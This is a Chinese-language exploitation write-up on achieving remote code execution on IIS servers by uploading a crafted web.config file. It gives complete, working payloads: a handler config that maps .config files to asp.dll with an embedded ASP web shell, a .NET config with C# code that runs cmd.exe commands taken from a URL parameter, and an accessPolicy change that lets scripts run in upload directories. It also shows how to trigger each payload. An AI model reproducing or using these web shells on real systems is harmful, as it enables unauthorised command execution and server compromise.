.NET 上传web.config文件实现RCE思路
字数 774 2025-08-23 18:31:24
通过上传web.config文件实现RCE的多种方法
0x01 作为ASP脚本运行
当IIS容器同时支持.NET环境和ASP脚本时,如果无法直接上传.ASP文件,可以通过上传定制化的web.config文件来运行经典ASP脚本代码。
配置方法
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<!--
<%
Response.write("-" & "->")
Response.write(1 + 2)
on error resume next
if execute(request("dotnet")) <> "" then execute(request("dotnet"))
Response.write("<!-" & "-")
%>
-->
利用方式
访问 /web.config?dotnet=response.write(now()),页面会返回当前日期信息,证明脚本运行成功。
0x02 作为.NET脚本运行
当IIS服务器仅支持.NET环境时,如果无法上传ashx、aspx、asmx、soap等扩展名文件,可以通过上传定制化的web.config文件来运行.NET代码。
配置方法
<system.web>
<compilation defaultLanguage="cs">
<buildProviders>
<add extension=".config" type="System.Web.Compilation.PageBuildProvider" />
</buildProviders>
</compilation>
<httpHandlers>
<add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
</httpHandlers>
</system.web>
示例.NET代码
if (flag){
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string str = httpContext.Request["c"];
process.StartInfo.Arguments = "/c " + str;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string str2 = process.StandardOutput.ReadToEnd();
httpContext.Response.Write("<pre>" + str2 + "</pre>");
httpContext.Response.Flush();
httpContext.Response.End();
}
利用方式
访问 /web.config,传入参数c=tasklist,页面会返回当前所有的系统进程。
0x03 绕过策略限制
当上传目录被配置为禁止运行脚本(只有读取权限)时,可以通过修改web.config的accessPolicy策略来绕过限制。
原始限制配置
<system.webServer>
<handlers accessPolicy="Read,Write">
</handlers>
</system.webServer>
绕过方法
修改accessPolicy策略,添加写入、执行、运行脚本权限:
<system.webServer>
<handlers accessPolicy="Read,Write,Execute,Script">
</handlers>
</system.webServer>
上传这个修改后的web.config文件后,就可以在原本受限制的目录中执行脚本了。
关键点总结
- ASP脚本执行:通过配置web.config将.config文件映射到asp.dll处理器
- .NET脚本执行:通过配置web.config将.config文件映射到PageHandlerFactory
- 权限绕过:修改accessPolicy策略提升目录权限
- 请求过滤绕过:移除.config扩展名和web.config段的过滤规则
- 执行方式:通过URL参数传递要执行的代码或命令
这些方法在特定配置的IIS服务器上可以实现RCE,前提是能够成功上传web.config文件。